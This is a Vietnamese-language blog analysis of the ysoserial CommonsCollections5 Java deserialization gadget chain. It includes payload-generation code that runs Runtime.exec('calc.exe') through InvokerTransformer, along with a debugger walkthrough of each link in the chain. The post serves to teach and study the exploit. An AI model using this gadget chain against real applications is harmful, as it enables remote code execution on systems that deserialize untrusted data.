Sau khi đã làm quen với gadgetchain và cách debug trong InteliJ, mình tiếp tục phân tích CommonsCollections5
, gadgetchain này hoạt động ở version 3.1 của thư viện Commons Collections
.
CommonsCollections5
nằm trong bộ gadgetchains CommonsCollections 1-7 nhằm khai thác thư viện Commons Collections, bộ gadgetchain này về cơ bản cũng đều lợi dụng class InvokerTransformer
và InstantiateTransformer
để invoke method.
Bài phân tích mình tham khảo blog này và blog này, các bạn có thể xem bài viết gốc để hiểu rõ về chain
Vì chain này dùng để khai thác thư viện, nên trước hết ta cần include thư viện vào.
Chọn File -> Project Structure
Nhấn vào dấu + -> Libary -> From Maven...
Chọn commons-collections:3.1
và nhấn OK
Tiếp theo để test exploit, mình dùng ysoserial
để gen payload
Run code
Gadgetchain này bao gồm:
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Đoạn code gen payload của ysoserial
...
final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, execArgs),
new ConstantTransformer(1)
};
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
Để dễ dàng phân tích thì mình reconstruct lại đoạn code gen payload tại local (không quan trọng lắm)
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", null }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, null }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
Map lazyMap = (Map) LazyMap.decorate(new HashMap(), chain);
TiedMapEntry tied = new TiedMapEntry(lazyMap, 1);
BadAttributeValueExpException badattr = new BadAttributeValueExpException(new Object());
try {
Class temp = Class.forName("javax.management.BadAttributeValueExpException");
Field arg = temp.getDeclaredField("val");
arg.setAccessible(true);
arg.set(badattr, tied);
} catch (ClassNotFoundException | NoSuchFieldException | IllegalAccessException e) {
throw new RuntimeException(e);
}
Để dễ theo dõi thì mình tách ra làm 2 phần để phân tích là trước khi gọi ChainedTransformer.transform()
và khi gọi ChainedTransformer.transform()
okie bắt đầu debug thoiii, đầu tiên mình Ctrl+N
để nhảy vào BadAttributeValueExpException
để xem method readObject
Để đi đến mắt xích tiếp theo trong chain thì dòng val = valObj.toString()
phải được gọi với valObj = TiedMapEntry
Tuy nhiên để ý code genpayload lại dùng Reflection API để set val = TiedMapEntry
thay vì set trực tiếp.
Nguyên nhân là do đâu vậy ?
Quay trở lại BadAttributeValueExpException
, khi object của class này được tạo, constructor của nó sẽ set this.val = val.toString()
nếu val != null
Do đó nếu ta set trực tiếp val thì val.toString()
được gọi, gadgetchain sẽ được trigger ngay tại constructor của BadAttributeValueExpException
mà không cần gọi đến readObject
. Hay nói cách khác điều này có nghĩa là không cần deserialize thì payload vẫn được thực thi.
Ta có thể kiểm chứng bằng cách set trực tiếp giá trị, và thực thi code mà không cần deserialize
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", null }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, null }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
Map lazyMap = (Map) LazyMap.decorate(new HashMap(), chain);
TiedMapEntry tied = new TiedMapEntry(lazyMap, 1);
BadAttributeValueExpException badattr = new BadAttributeValueExpException(tied);
Khi thực thi đoạn code trên thì calc tự động popup
Do đó khi debug Java nên debug kỹ cẩn thận những cú lừa như thế này
Khi biết được lý do tại sao cần dùng đến Reflection API, chúng ta tiếp tục đi đến mắt xích tiếp theo trong chain là TiedMapEntry.toString()
toString
gọi đến TiedMapEntry.getValue()
getValue()
gọi this.map.get(this.key)
, mà this.map
chính là Lazymap
mà ta khai báo
Do đó this.map.get(this.key)
tương đương với LazyMap.get(1)
Tiếp tục LazyMap.get
gọi đến this.factory.transform()
Với this.factory
chính là ChainedTransformer
mà ta truyền vào
Vậy thì this.factory.transform()
tương đương với ChainedTransformer.transform()
Note: trước khi đi qua phần 2, thì nếu trong quá trình debug mà calc có popup nhiều lần thì các bạn có thể tham khảo lời giải thích tại bài viết gốc của anh @Jang, cụ thể nguyên văn trong bài viết gốc như sau:
"Khi dừng tại breakpoint, muốn show được ra các variable thì debugger phải bằng cách nào đó lấy được các variable được khai báo trước breakpoint. Theo như suy đoán của mình, sau khi lấy được các variable dưới dạng object, và để show lại cho người dùng dưới dạng tường minh, nghĩa là dạng Human-readable. Dạng Human-readable là gì? Là String chứ còn gì nữa ¯_(ツ)_/¯.
Ở đây để có thể lấy về Object dưới dạng String, debugger đã “ngầm” invoke method toString() của object variable muốn show ra cho người dùng, như trong trường hợp hiện tại thì debugger đã lén invoke method toString() của valObject và khiến cho các chain về sau được thực thi luôn -> calc pop up!"
okiê, từ phần này xuống các mắt xích sau chính là phần đặc sắc và tinh túy nhất của gadgetchain này.
Code tại ChainedTransformer.transform()
như sau:
Tại đây nó sẽ thực hiện một vòng for đi qua mảng this.iTransformers
, mảng này cũng chính là giá trị ta truyền vào được set thông qua constructor.
Mỗi phần tử trong mảng này là một abstract của intergace Transformer
, các giá trị của mảng iTransformers
:
Mỗi lần lặp thì code sẽ lấy ra 1 object trong iTransformers
và gọi method transform()
của object đó, sau đó kết quả return sẽ được dùng làm parameter cho method tranform()
của vòng lặp sau. Có thể tóm tắt đơn giản như sau:
object0 = ConstantTransformer.transform(Runtime.class) // Runtime.class là object ta truyền vào
object1 = InvokerTransformer.transform(object0)
object2 = InvokerTransformer.transform(object1)
object3 = InvokerTransformer.transform(object2)
Tại lần lặp đầu tiên ConstantTransformer.transform(Runtime.class)
sẽ được gọi
Method transform của ConstantTransformer đơn giản chỉ return lại chính object input:
Tiếp tục kết quả trả về là Runtime.class
được lấy làm parameter cho transform
ở lần lặp thứ 2
Tại lần lặp này InvokerTransformer.transform()
được gọi. Đến đoạn này mọi người phải giữ cái đầu lạnh bởi vì nó khá quằng 🧊🤯
Code xử lý của InvokerTransformer.transform()
Ta chỉ cần tập trung code từ dòng 59-61, đầu tiên tại dòng 59 dùng Reflection API gọi đến class của input, tức là input.getClass() = Runtime.class.getClass() = class Class()
Vì mọi class trong Java đều là object của class Class()
, mà Runtime.class
là một class nên nó là object của Class()
, nên khi gọi Runtime.class.getClass()
ta sẽ được class Class()
, dùng class để gọi class, use stones to destroy stones 🤷
Tiếp tục tại dòng 60 sẽ dùng Reflection API getMethod để lấy method từ Class()
mà method muốn lấy là this.iMethodName
cũng chính là getMethod
mà ta khai báo
Kết quả của nó:
Code tiếp tục gọi Reflection API invoke
để thực thi method getMethod
, với input
là Runtime.class
và this.iArgs
cũng là giá trị ta khai báo
Tóm lại dòng return method.invoke(input, this.iArgs)
tương tự như đang thực hiện Runtime.class.getMethod(“getRuntime”, …)
Sau khi thực thi xong trả về cho ta object sau để dùng cho lần lặp tiếp theo:
Có thể tóm gọn những gì mình nói ở trên bằng hình sau:
Khi nắm rõ được logic code tại lần lặp này rồi, thì mọi người sẽ dễ dàng debug các vòng lặp sau, bởi vì logic các vòng sau là không đổi, chỉ khác mỗi input và ouput
Tiếp tục lặp lần nữa, lúc này cls = input.getClass() = Runtime.getRuntime().class = reflect.Method
Và method = cls.getMethod(this.iMethodName, this.iParamTypes) = reflect.Method.invoke()
Cuối cùng method.invoke(input, this.iArgs) = Runtime.getRuntime().invoke()
, tức là mình gọi invoke
để invoke
thằng Runtime.getRuntime()
=))))))))
Sau khi invoke
xong ta đã chính thức có được object Runtime
để dùng cho vòng lặp tiếp theo
Đến đây thì tương tự như vòng lặp trước thôi, nhưng method
sẽ là exec
để thực hiện RCE
method.invoke(input, this.iArgs) = Runtime.getRuntime().exec('calc.exe')
Nhấn F8
đi qua vòng lặp này ngay lập tức calc popup
Nếu nhìn vào 3 dòng code làm nên gadgetchain này
3 dòng trên vừa có thể getMethod vừa invokde, vậy thì không phải chỉ cần
input = Runtime.getRuntime()
iMethodName = 'exec'
iArgs = 'cacl.exe'
thì ta có thể popup được calc rồi
Code test
InvokerTransformer test = new InvokerTransformer("exec",new Class[] {String.class}, new Object[]{ "calc.exe"});
test.transform(Runtime.getRuntime());
Tuy nhiên khi thử đưa vào ChainedTransformer
thì có thể popup cacl khi thực thi local, tuy nhiên khi đưa vào hàm serialize và deserialze thì không thể thực thi được mà có lỗi như sau:
Nguyên nhân là do class Runtime
không được implement Serializable interface.
Do đó để trong quá trình deser nếu muốn gọi đến được methods exec
của Runtime
ta phải dùng Reflection API
Ví dụ
Runtime rt = (Runtime) Runtime.class.getMethod("getRuntime").invoke(null);
rt.exec("calc.exe");
Chính vì thế trong gadgetchain ta cần phải khai báo một mảng các object của interface Transform
nhằm mục đích gọi đến method exec
của Runtime.getRuntime()
mà không cần phải khởi tạo object Runtime
https://sec.vnpt.vn/2020/02/the-art-of-deserialization-gadget-hunting-part-2
https://clbuezzz.wordpress.com/2022/11/05/ysoserial-commonscollections-analysisphan-1-7/